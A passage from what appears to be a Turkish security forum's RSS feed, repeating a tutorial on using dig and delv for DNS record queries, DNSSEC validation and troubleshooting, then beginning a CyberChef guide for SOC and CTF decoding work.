<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sorun giderme senaryoları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yeni kayıt görünmüyor:</span> Yetkili sunucuya doğrudan sorun (dig @ns1.ornek.com kayit). Orada varsa sorun çözümleyici önbelleğinde; TTL dolmasını bekleyin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVFAIL ama başka çözümleyicide çalışıyor:</span> dig +cd ile (checking disabled) tekrar sorun; +cd ile çalışıyorsa DNSSEC imza sorunu var.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">TCP/büyük yanıt sorunları:</span> dig +tcp ile deneyin; güvenlik duvarı 53/TCP'yi engelliyor olabilir.<br />
</li>
</ul>
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig @ns1.ornek.com www.ornek.com +norec
dig ornek.com +cd
dig ornek.com TXT +tcp</code></div></div>Hatırlatma: Başkasına ait DNS sunucularında zone transferi (AXFR) denemeleri izinsiz tarama sayılabilir; bu tür testleri yalnızca kendi sunucularınızda yapın.<br />
<br />
DNS sorun gidermede en çok hangi dig seçeneğini kullanıyorsunuz? Favori tek satırlıklarınızı ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://bind9.readthedocs.io/en/stable/manpages.html" target="_blank" rel="noopener" class="mycode_url">https://bind9.readthedocs.io/en/stable/manpages.html</a><br />
</li>
<li><a href="https://kb.isc.org/docs/cve-2026-94300" target="_blank" rel="noopener" class="mycode_url">https://kb.isc.org/docs/cve-2026-94300</a><br />
</li>
<li><a href="https://www.rfc-editor.org/rfc/rfc4033" target="_blank" rel="noopener" class="mycode_url">https://www.rfc-editor.org/rfc/rfc4033</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=382" target="_blank" title="">15-b05-dig-delv-dns.png</a> (Dosya Boyutu: 118.45 KB / İndirme Sayısı: 8)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=382" loading="lazy"  alt="[Resim: attachment.php?aid=382]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
BIND 9 açığı (CVE-2026-94300) gündemdeyken DNS araçlarına sağlam bir giriş yapalım. <span style="font-weight: bold;" class="mycode_b">dig</span> ve <span style="font-weight: bold;" class="mycode_b">delv</span>, BIND projesinin parçası olan ve neredeyse her Linux dağıtımında bulunan iki sorgu aracı. dig her şeyi ham olarak gösterir; delv ise yanıtları DNSSEC zinciriyle doğrulamaya odaklanır. Bu rehberdeki tüm örnekleri kendi alan adlarınızda veya herkese açık örnek alan adlarında güvenle deneyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Kurulum<br />
</li>
<li>dig temelleri ve çıktıyı okumak<br />
</li>
<li>Kayıt türleri: A, AAAA, MX, TXT, NS, CAA<br />
</li>
<li>+trace ile çözümleme yolunu izlemek<br />
</li>
<li>delv ile DNSSEC doğrulama<br />
</li>
<li>Sık kullanılan sorun giderme senaryoları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Debian/Ubuntu
sudo apt install bind9-dnsutils
# RHEL/Fedora
sudo dnf install bind-utils
dig -v</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">dig temelleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig example.com</code></div></div>Çıktıda bakılacak yerler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">status:</span> NOERROR (başarılı), NXDOMAIN (alan adı yok), SERVFAIL (sunucu yanıt üretemedi; DNSSEC hatası da olabilir).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">flags:</span> qr (yanıt), rd (özyineleme istendi), ra (özyineleme sunuldu), aa (yetkili yanıt), ad (DNSSEC doğrulandı).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">ANSWER SECTION:</span> kayıt ve TTL değeri.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVER:</span> yanıtı hangi çözümleyicinin verdiği.<br />
</li>
</ul>
Kısa çıktı için +short, belirli bir çözümleyici için @ kullanın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +short example.com
dig @1.1.1.1 example.com AAAA +short
dig @9.9.9.9 example.com +noall +answer</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kayıt türleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig ornek.com MX +short      # posta sunuculari
dig ornek.com TXT +short     # SPF, dogrulama kayitlari
dig _dmarc.ornek.com TXT +short
dig ornek.com NS +short      # yetkili sunucular
dig ornek.com CAA +short     # hangi CA sertifika verebilir
dig -x 93.184.215.14 +short  # ters (PTR) sorgu</code></div></div>Kendi alan adınızda CAA kaydı yoksa, kurallara uyan herhangi bir CA sizin adınıza sertifika verebilir. CAA kaydıyla yalnızca kullandığınız CA'ları yetkilendirmek, yanlış veya sahte sertifika talebine karşı ucuz bir sertleştirmedir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">+trace ile çözümleme yolu</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +trace ornek.com</code></div></div>Kökten (.) başlayıp TLD'ye, oradan yetkili sunucuya kadar her adımı gösterir. "Bazı yerlerden çözülüyor, bazı yerlerden çözülmüyor" sorunlarında yanlış NS delegasyonunu bulmanın en hızlı yolu budur.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">delv ile DNSSEC doğrulama</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>delv example.com
delv ornek.com A +rtrace</code></div></div>Başarılı doğrulamada çıktının başında "; fully validated" görürsünüz; imzasız zone'larda "; unsigned answer". dig ile de DO bitini isteyip ad bayrağına ve RRSIG kayıtlarına bakabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +dnssec example.com</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sorun giderme senaryoları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yeni kayıt görünmüyor:</span> Yetkili sunucuya doğrudan sorun (dig @ns1.ornek.com kayit). Orada varsa sorun çözümleyici önbelleğinde; TTL dolmasını bekleyin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVFAIL ama başka çözümleyicide çalışıyor:</span> dig +cd ile (checking disabled) tekrar sorun; +cd ile çalışıyorsa DNSSEC imza sorunu var.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">TCP/büyük yanıt sorunları:</span> dig +tcp ile deneyin; güvenlik duvarı 53/TCP'yi engelliyor olabilir.<br />
</li>
</ul>
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig @ns1.ornek.com www.ornek.com +norec
dig ornek.com +cd
dig ornek.com TXT +tcp</code></div></div>Hatırlatma: Başkasına ait DNS sunucularında zone transferi (AXFR) denemeleri izinsiz tarama sayılabilir; bu tür testleri yalnızca kendi sunucularınızda yapın.<br />
<br />
DNS sorun gidermede en çok hangi dig seçeneğini kullanıyorsunuz? Favori tek satırlıklarınızı ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://bind9.readthedocs.io/en/stable/manpages.html" target="_blank" rel="noopener" class="mycode_url">https://bind9.readthedocs.io/en/stable/manpages.html</a><br />
</li>
<li><a href="https://kb.isc.org/docs/cve-2026-94300" target="_blank" rel="noopener" class="mycode_url">https://kb.isc.org/docs/cve-2026-94300</a><br />
</li>
<li><a href="https://www.rfc-editor.org/rfc/rfc4033" target="_blank" rel="noopener" class="mycode_url">https://www.rfc-editor.org/rfc/rfc4033</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=382" target="_blank" title="">15-b05-dig-delv-dns.png</a> (Dosya Boyutu: 118.45 KB / İndirme Sayısı: 8)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[dig ve delv ile DNS Sorgulama: Kayıt Türleri, DNSSEC Doğrulama ve Sorun Giderme]]></title>
			<link>https://www.turkteam.org/konu-dig-ve-delv-ile-dns-sorgulama-kayit-turleri-dnssec-dogrulama-ve-sorun-giderme.html</link>
			<pubDate>Fri, 23 Oct 2026 11:35:43 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=3">BilgeKagan</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-dig-ve-delv-ile-dns-sorgulama-kayit-turleri-dnssec-dogrulama-ve-sorun-giderme.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=381" loading="lazy"  alt="[Resim: attachment.php?aid=381]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
BIND 9 açığı (CVE-2026-94300) gündemdeyken DNS araçlarına sağlam bir giriş yapalım. <span style="font-weight: bold;" class="mycode_b">dig</span> ve <span style="font-weight: bold;" class="mycode_b">delv</span>, BIND projesinin parçası olan ve neredeyse her Linux dağıtımında bulunan iki sorgu aracı. dig her şeyi ham olarak gösterir; delv ise yanıtları DNSSEC zinciriyle doğrulamaya odaklanır. Bu rehberdeki tüm örnekleri kendi alan adlarınızda veya herkese açık örnek alan adlarında güvenle deneyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Kurulum<br />
</li>
<li>dig temelleri ve çıktıyı okumak<br />
</li>
<li>Kayıt türleri: A, AAAA, MX, TXT, NS, CAA<br />
</li>
<li>+trace ile çözümleme yolunu izlemek<br />
</li>
<li>delv ile DNSSEC doğrulama<br />
</li>
<li>Sık kullanılan sorun giderme senaryoları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Debian/Ubuntu
sudo apt install bind9-dnsutils
# RHEL/Fedora
sudo dnf install bind-utils
dig -v</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">dig temelleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig example.com</code></div></div>Çıktıda bakılacak yerler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">status:</span> NOERROR (başarılı), NXDOMAIN (alan adı yok), SERVFAIL (sunucu yanıt üretemedi; DNSSEC hatası da olabilir).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">flags:</span> qr (yanıt), rd (özyineleme istendi), ra (özyineleme sunuldu), aa (yetkili yanıt), ad (DNSSEC doğrulandı).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">ANSWER SECTION:</span> kayıt ve TTL değeri.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVER:</span> yanıtı hangi çözümleyicinin verdiği.<br />
</li>
</ul>
Kısa çıktı için +short, belirli bir çözümleyici için @ kullanın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +short example.com
dig @1.1.1.1 example.com AAAA +short
dig @9.9.9.9 example.com +noall +answer</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kayıt türleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig ornek.com MX +short      # posta sunuculari
dig ornek.com TXT +short     # SPF, dogrulama kayitlari
dig _dmarc.ornek.com TXT +short
dig ornek.com NS +short      # yetkili sunucular
dig ornek.com CAA +short     # hangi CA sertifika verebilir
dig -x 93.184.215.14 +short  # ters (PTR) sorgu</code></div></div>Kendi alan adınızda CAA kaydı yoksa, kurallara uyan herhangi bir CA sizin adınıza sertifika verebilir. CAA kaydıyla yalnızca kullandığınız CA'ları yetkilendirmek, yanlış veya sahte sertifika talebine karşı ucuz bir sertleştirmedir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">+trace ile çözümleme yolu</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +trace ornek.com</code></div></div>Kökten (.) başlayıp TLD'ye, oradan yetkili sunucuya kadar her adımı gösterir. "Bazı yerlerden çözülüyor, bazı yerlerden çözülmüyor" sorunlarında yanlış NS delegasyonunu bulmanın en hızlı yolu budur.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">delv ile DNSSEC doğrulama</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>delv example.com
delv ornek.com A +rtrace</code></div></div>Başarılı doğrulamada çıktının başında "; fully validated" görürsünüz; imzasız zone'larda "; unsigned answer". dig ile de DO bitini isteyip ad bayrağına ve RRSIG kayıtlarına bakabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +dnssec example.com</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sorun giderme senaryoları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yeni kayıt görünmüyor:</span> Yetkili sunucuya doğrudan sorun (dig @ns1.ornek.com kayit). Orada varsa sorun çözümleyici önbelleğinde; TTL dolmasını bekleyin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVFAIL ama başka çözümleyicide çalışıyor:</span> dig +cd ile (checking disabled) tekrar sorun; +cd ile çalışıyorsa DNSSEC imza sorunu var.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">TCP/büyük yanıt sorunları:</span> dig +tcp ile deneyin; güvenlik duvarı 53/TCP'yi engelliyor olabilir.<br />
</li>
</ul>
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig @ns1.ornek.com www.ornek.com +norec
dig ornek.com +cd
dig ornek.com TXT +tcp</code></div></div>Hatırlatma: Başkasına ait DNS sunucularında zone transferi (AXFR) denemeleri izinsiz tarama sayılabilir; bu tür testleri yalnızca kendi sunucularınızda yapın.<br />
<br />
DNS sorun gidermede en çok hangi dig seçeneğini kullanıyorsunuz? Favori tek satırlıklarınızı ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://bind9.readthedocs.io/en/stable/manpages.html" target="_blank" rel="noopener" class="mycode_url">https://bind9.readthedocs.io/en/stable/manpages.html</a><br />
</li>
<li><a href="https://kb.isc.org/docs/cve-2026-94300" target="_blank" rel="noopener" class="mycode_url">https://kb.isc.org/docs/cve-2026-94300</a><br />
</li>
<li><a href="https://www.rfc-editor.org/rfc/rfc4033" target="_blank" rel="noopener" class="mycode_url">https://www.rfc-editor.org/rfc/rfc4033</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=381" target="_blank" title="">15-b05-dig-delv-dns.png</a> (Dosya Boyutu: 118.45 KB / İndirme Sayısı: 4)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=381" loading="lazy"  alt="[Resim: attachment.php?aid=381]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
BIND 9 açığı (CVE-2026-94300) gündemdeyken DNS araçlarına sağlam bir giriş yapalım. <span style="font-weight: bold;" class="mycode_b">dig</span> ve <span style="font-weight: bold;" class="mycode_b">delv</span>, BIND projesinin parçası olan ve neredeyse her Linux dağıtımında bulunan iki sorgu aracı. dig her şeyi ham olarak gösterir; delv ise yanıtları DNSSEC zinciriyle doğrulamaya odaklanır. Bu rehberdeki tüm örnekleri kendi alan adlarınızda veya herkese açık örnek alan adlarında güvenle deneyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Kurulum<br />
</li>
<li>dig temelleri ve çıktıyı okumak<br />
</li>
<li>Kayıt türleri: A, AAAA, MX, TXT, NS, CAA<br />
</li>
<li>+trace ile çözümleme yolunu izlemek<br />
</li>
<li>delv ile DNSSEC doğrulama<br />
</li>
<li>Sık kullanılan sorun giderme senaryoları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Debian/Ubuntu
sudo apt install bind9-dnsutils
# RHEL/Fedora
sudo dnf install bind-utils
dig -v</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">dig temelleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig example.com</code></div></div>Çıktıda bakılacak yerler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">status:</span> NOERROR (başarılı), NXDOMAIN (alan adı yok), SERVFAIL (sunucu yanıt üretemedi; DNSSEC hatası da olabilir).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">flags:</span> qr (yanıt), rd (özyineleme istendi), ra (özyineleme sunuldu), aa (yetkili yanıt), ad (DNSSEC doğrulandı).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">ANSWER SECTION:</span> kayıt ve TTL değeri.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVER:</span> yanıtı hangi çözümleyicinin verdiği.<br />
</li>
</ul>
Kısa çıktı için +short, belirli bir çözümleyici için @ kullanın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +short example.com
dig @1.1.1.1 example.com AAAA +short
dig @9.9.9.9 example.com +noall +answer</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kayıt türleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig ornek.com MX +short      # posta sunuculari
dig ornek.com TXT +short     # SPF, dogrulama kayitlari
dig _dmarc.ornek.com TXT +short
dig ornek.com NS +short      # yetkili sunucular
dig ornek.com CAA +short     # hangi CA sertifika verebilir
dig -x 93.184.215.14 +short  # ters (PTR) sorgu</code></div></div>Kendi alan adınızda CAA kaydı yoksa, kurallara uyan herhangi bir CA sizin adınıza sertifika verebilir. CAA kaydıyla yalnızca kullandığınız CA'ları yetkilendirmek, yanlış veya sahte sertifika talebine karşı ucuz bir sertleştirmedir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">+trace ile çözümleme yolu</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +trace ornek.com</code></div></div>Kökten (.) başlayıp TLD'ye, oradan yetkili sunucuya kadar her adımı gösterir. "Bazı yerlerden çözülüyor, bazı yerlerden çözülmüyor" sorunlarında yanlış NS delegasyonunu bulmanın en hızlı yolu budur.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">delv ile DNSSEC doğrulama</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>delv example.com
delv ornek.com A +rtrace</code></div></div>Başarılı doğrulamada çıktının başında "; fully validated" görürsünüz; imzasız zone'larda "; unsigned answer". dig ile de DO bitini isteyip ad bayrağına ve RRSIG kayıtlarına bakabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +dnssec example.com</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sorun giderme senaryoları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yeni kayıt görünmüyor:</span> Yetkili sunucuya doğrudan sorun (dig @ns1.ornek.com kayit). Orada varsa sorun çözümleyici önbelleğinde; TTL dolmasını bekleyin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVFAIL ama başka çözümleyicide çalışıyor:</span> dig +cd ile (checking disabled) tekrar sorun; +cd ile çalışıyorsa DNSSEC imza sorunu var.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">TCP/büyük yanıt sorunları:</span> dig +tcp ile deneyin; güvenlik duvarı 53/TCP'yi engelliyor olabilir.<br />
</li>
</ul>
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig @ns1.ornek.com www.ornek.com +norec
dig ornek.com +cd
dig ornek.com TXT +tcp</code></div></div>Hatırlatma: Başkasına ait DNS sunucularında zone transferi (AXFR) denemeleri izinsiz tarama sayılabilir; bu tür testleri yalnızca kendi sunucularınızda yapın.<br />
<br />
DNS sorun gidermede en çok hangi dig seçeneğini kullanıyorsunuz? Favori tek satırlıklarınızı ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://bind9.readthedocs.io/en/stable/manpages.html" target="_blank" rel="noopener" class="mycode_url">https://bind9.readthedocs.io/en/stable/manpages.html</a><br />
</li>
<li><a href="https://kb.isc.org/docs/cve-2026-94300" target="_blank" rel="noopener" class="mycode_url">https://kb.isc.org/docs/cve-2026-94300</a><br />
</li>
<li><a href="https://www.rfc-editor.org/rfc/rfc4033" target="_blank" rel="noopener" class="mycode_url">https://www.rfc-editor.org/rfc/rfc4033</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=381" target="_blank" title="">15-b05-dig-delv-dns.png</a> (Dosya Boyutu: 118.45 KB / İndirme Sayısı: 4)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CyberChef Sıfırdan: SOC ve CTF için Tarayıcıda İsviçre Çakısı]]></title>
			<link>https://www.turkteam.org/konu-cyberchef-sifirdan-soc-ve-ctf-icin-tarayicida-isvicre-cakisi.html</link>
			<pubDate>Thu, 22 Oct 2026 11:32:36 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=3">BilgeKagan</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-cyberchef-sifirdan-soc-ve-ctf-icin-tarayicida-isvicre-cakisi.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=356" loading="lazy"  alt="[Resim: attachment.php?aid=356]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Base64, hex, gzip, XOR, JWT parçalama, timestamp çevirme... SOC analisti veya CTF oyuncusu bu işlemleri günde onlarca kez yapar. GCHQ'nun açık kaynak aracı <span style="font-weight: bold;" class="mycode_b">CyberChef</span> bunları sürükle-bırak bir "tarif" (recipe) olarak tarayıcıda birleştirmenizi sağlar. Önemli güvenlik özelliği: işlemlerin hiçbiri CyberChef sunucusuna gitmez; her şey sizin tarayıcınızda, sizin bilgisayarınızda çalışır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Arayüzün dört ana alanı<br />
</li>
<li>Yerel kurulum: Docker ile<br />
</li>
<li>İlk tarifler: Base64, hex+gzip, Magic<br />
</li>
<li>SOC / CTF kullanım senaryoları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Arayüz</span></span><br />
README'ye göre dört ana alan:<br />
<ol type="1" class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Input</span> (sağ üst): metin veya dosya<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Output</span> (sağ alt): sonuç<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Operations</span> (sol): kategorili işlem listesi / arama<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Recipe</span> (orta): sürüklediğiniz işlemler ve parametreleri<br />
</li>
</ol>
Auto Bake açıksa input veya tarif değişince çıktı hemen üretilir. Breakpoint koyup adım adım ilerleyebilir, tarifleri yerel depolamaya kaydedebilir, URL hash ile paylaşabilirsiniz (#recipe=...&amp;input=...).<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yerel kurulum (Docker)</span></span><br />
Hassas veriyi genel web sitesine yapıştırmak istemiyorsanız yerelde çalıştırın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Onceden derlenmis imaj
docker run --rm -it -p 8080:8080 ghcr.io/gchq/cyberchef:latest
# Tarayicida: http://localhost:8080</code></div></div>Kaynaktan build için Node.js v24 gerekir; Docker yolu toolchain istemez. README, CyberChef'in tamamen istemci tarafında çalıştığını ve tam bir kopyasının indirilip kapalı ağda / VM'de kullanılabileceğini özellikle vurgular.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlk tarifler</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">From Base64:</span> Operations'tan sürükleyin, input'a kodlanmış metni yapıştırın.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">From Hex -&gt; Gunzip:</span> Hexdump'lanmış sıkıştırılmış veriyi açmak için iki işlemli tarif.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Magic:</span> CyberChef, verinin hangi kodlamalar altında olabileceğini otomatik tahmin etmeye çalışır; Output'taki sihir ikonuna tıklayınca uygun işlemi önerir.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">SOC / CTF senaryoları</span></span><ul class="mycode_list"><li>Oltalama ekindeki PowerShell'in -EncodedCommand parametresini UTF-16LE Base64'ten çözmek<br />
</li>
<li>DNS veya HTTP üzerinden exfil edilen hex parçalarını birleştirip Gunzip etmek<br />
</li>
<li>JWT'nin header/payload kısmını (imza doğrulaması olmadan) okumak - yalnızca inceleme<br />
</li>
<li>Timestamp yığınını insan okur tarihe çevirmek<br />
</li>
<li>Basit XOR / tekrarlayan anahtar denemeleri (CTF crypto)<br />
</li>
</ul>
<br />
